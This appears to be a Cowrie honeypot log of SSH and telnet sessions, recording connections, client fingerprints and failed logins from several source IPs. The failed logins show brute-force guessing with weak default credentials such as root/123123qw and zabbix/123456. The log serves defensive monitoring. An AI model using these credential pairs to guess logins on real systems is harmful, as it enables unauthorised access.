{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:23.987689Z","src_ip":"193.37.70.224","session":"b0963ded2bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qw","message":"login attempt [root/123123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:24.260837Z","src_ip":"193.37.70.224","session":"b0963ded2bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00208902359009,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:24.837534Z","src_ip":"152.42.224.71","session":"b08cd17b385d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.354027Z","src_ip":"193.37.70.224","session":"b0963ded2bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39472,"dst_ip":"159.203.135.109","dst_port":22,"session":"76c7fd95e25d","protocol":"ssh","message":"New connection: 45.156.87.204:39472 (159.203.135.109:22) [session: 76c7fd95e25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.364631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.373351Z","src_ip":"45.156.87.204","session":"76c7fd95e25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.455739Z","src_ip":"45.156.87.204","session":"76c7fd95e25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49122,"dst_ip":"10.17.0.5","dst_port":23,"session":"289af5488269","protocol":"telnet","message":"New connection: 152.42.224.71:49122 (10.17.0.5:23) [session: 289af5488269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.609175Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:25.705412Z","src_ip":"45.156.87.204","session":"76c7fd95e25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:26.790805Z","src_ip":"45.156.87.204","session":"76c7fd95e25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39478,"dst_ip":"159.203.135.109","dst_port":22,"session":"58174d6e89e8","protocol":"ssh","message":"New connection: 45.156.87.204:39478 (159.203.135.109:22) [session: 58174d6e89e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:28.940425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:28.945718Z","src_ip":"45.156.87.204","session":"58174d6e89e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:29.030541Z","src_ip":"45.156.87.204","session":"58174d6e89e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39752,"dst_ip":"10.17.0.5","dst_port":22,"session":"33346b6932b4","protocol":"ssh","message":"New connection: 103.77.175.15:39752 (10.17.0.5:22) [session: 33346b6932b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:29.073249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:29.079478Z","src_ip":"103.77.175.15","session":"33346b6932b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:29.312930Z","src_ip":"45.156.87.204","session":"58174d6e89e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:29.399077Z","src_ip":"103.77.175.15","session":"33346b6932b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samara","message":"login attempt [root/samara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:30.180484Z","src_ip":"103.77.175.15","session":"33346b6932b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:30.399654Z","src_ip":"45.156.87.204","session":"58174d6e89e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:31.443291Z","src_ip":"103.77.175.15","session":"33346b6932b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c15d19bf7c1b","protocol":"ssh","message":"New connection: 45.156.87.204:33314 (159.203.135.109:22) [session: c15d19bf7c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:32.608032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:32.660833Z","src_ip":"45.156.87.204","session":"c15d19bf7c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:32.722598Z","src_ip":"45.156.87.204","session":"c15d19bf7c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:33.018106Z","src_ip":"45.156.87.204","session":"c15d19bf7c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:34.106508Z","src_ip":"45.156.87.204","session":"c15d19bf7c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33328,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab196d1a753","protocol":"ssh","message":"New connection: 45.156.87.204:33328 (159.203.135.109:22) [session: 1ab196d1a753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:36.419460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:36.424758Z","src_ip":"45.156.87.204","session":"1ab196d1a753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:36.507042Z","src_ip":"45.156.87.204","session":"1ab196d1a753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:36.755577Z","src_ip":"45.156.87.204","session":"1ab196d1a753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:37.840816Z","src_ip":"45.156.87.204","session":"1ab196d1a753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.67887091636658,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:38.027158Z","src_ip":"152.42.224.71","session":"964dfbd68e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34502,"dst_ip":"10.17.0.5","dst_port":23,"session":"f919f327979a","protocol":"telnet","message":"New connection: 152.42.224.71:34502 (10.17.0.5:23) [session: f919f327979a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:38.223223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34504,"dst_ip":"10.17.0.5","dst_port":23,"session":"82735ed84163","protocol":"telnet","message":"New connection: 152.42.224.71:34504 (10.17.0.5:23) [session: 82735ed84163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:39.243605Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":33342,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a2e5da87640","protocol":"ssh","message":"New connection: 45.156.87.204:33342 (159.203.135.109:22) [session: 8a2e5da87640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:39.884811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:39.893383Z","src_ip":"45.156.87.204","session":"8a2e5da87640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:39.975614Z","src_ip":"45.156.87.204","session":"8a2e5da87640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:40.224047Z","src_ip":"45.156.87.204","session":"8a2e5da87640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:41.308789Z","src_ip":"45.156.87.204","session":"8a2e5da87640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":33792,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e6ecd6cf966","protocol":"ssh","message":"New connection: 103.75.183.219:33792 (10.17.0.5:22) [session: 6e6ecd6cf966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:42.748248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:42.752946Z","src_ip":"103.75.183.219","session":"6e6ecd6cf966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:42.996188Z","src_ip":"103.75.183.219","session":"6e6ecd6cf966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjycnfynby","message":"login attempt [root/rjycnfynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:43.729234Z","src_ip":"103.75.183.219","session":"6e6ecd6cf966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39792,"dst_ip":"159.203.135.109","dst_port":22,"session":"74a1fd96c0ec","protocol":"ssh","message":"New connection: 45.156.87.204:39792 (159.203.135.109:22) [session: 74a1fd96c0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:43.749937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:43.808598Z","src_ip":"45.156.87.204","session":"74a1fd96c0ec","protocol":"ssh"}
